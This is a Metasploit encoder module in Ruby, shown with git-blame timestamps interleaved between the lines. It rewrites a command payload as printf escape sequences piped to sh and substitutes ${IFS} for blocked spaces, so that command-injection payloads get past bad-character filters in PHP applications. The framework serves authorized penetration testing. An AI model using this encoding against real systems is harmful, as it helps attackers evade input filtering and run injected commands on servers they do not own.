2010-06-24 22:36:51 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-06-24 22:36:51 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Encoder
|
2010-06-24 22:36:51 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Has some issues, but overall it's pretty good
|
|
|
|
# - printf(1) may not be available
|
|
|
|
# - requires: "\x7c\x73\x68\x5c\x78"
|
|
|
|
# - doesn't work on windows
|
|
|
|
# - min size increase: 4x + 9
|
|
|
|
# - max size increase: 4x + 14
|
|
|
|
# However, because it intentionally leaves backslashes unescaped (assuming
|
|
|
|
# that PHP's magic_quotes_gpc will take care of escaping them) it is
|
|
|
|
# unsuitable for most exploits.
|
|
|
|
Rank = ManualRanking
|
2010-06-24 22:36:51 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'printf(1) via PHP magic_quotes Utility Command Encoder',
|
|
|
|
'Description' => %q{
|
|
|
|
This encoder uses the printf(1) utility to avoid restricted
|
2017-08-29 00:17:58 +00:00
|
|
|
characters. Some shell variable substitution may also be used
|
2013-08-30 21:28:54 +00:00
|
|
|
if needed symbols are blacklisted. Some characters are intentionally
|
2017-08-29 00:17:58 +00:00
|
|
|
left unescaped since it is assumed that PHP with magic_quotes_gpc
|
2013-08-30 21:28:54 +00:00
|
|
|
enabled will escape them during request handling.
|
|
|
|
},
|
|
|
|
'Author' => 'jduck',
|
|
|
|
'Arch' => ARCH_CMD,
|
2014-02-04 20:34:11 +00:00
|
|
|
'Platform' => 'unix',
|
2013-08-30 21:28:54 +00:00
|
|
|
'EncoderType' => Msf::Encoder::Type::PrintfPHPMagicQuotes)
|
|
|
|
end
|
2010-06-24 22:36:51 +00:00
|
|
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
#
|
|
|
|
# Encodes the payload
|
|
|
|
#
|
|
|
|
def encode_block(state, buf)
|
2010-06-24 22:36:51 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Skip encoding for empty badchars
|
|
|
|
if(state.badchars.length == 0)
|
|
|
|
return buf
|
|
|
|
end
|
2010-06-24 22:36:51 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# If backslash is bad, we are screwed.
|
|
|
|
if (state.badchars.include?("\\")) or
|
|
|
|
(state.badchars.include?("|")) or
|
|
|
|
# We must have at least ONE of these two..
|
|
|
|
(state.badchars.include?("x") and state.badchars.include?("0"))
|
2015-05-18 20:33:01 +00:00
|
|
|
raise EncodingError
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-06-24 22:36:51 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Now we build a string of the original payload with bad characters
|
|
|
|
# into \0<NNN> or \x<HH>
|
|
|
|
if (state.badchars.include?('x'))
|
|
|
|
hex = buf.unpack('C*').collect { |c| "\\0%o" % c }.join
|
|
|
|
else
|
|
|
|
hex = buf.unpack('C*').collect { |c| "\\x%x" % c }.join
|
|
|
|
end
|
2010-06-24 22:36:51 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Build the final output
|
|
|
|
ret = "printf"
|
2010-06-24 22:36:51 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Special case: <SPACE>, try to use ${IFS}
|
|
|
|
if (state.badchars.include?(" "))
|
|
|
|
ret << '${IFS}'
|
|
|
|
else
|
|
|
|
ret << " "
|
|
|
|
end
|
2010-06-24 22:36:51 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
ret << hex << "|sh"
|
2010-06-24 22:36:51 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
return ret
|
|
|
|
end
|
2010-06-24 22:36:51 +00:00
|
|
|
end
|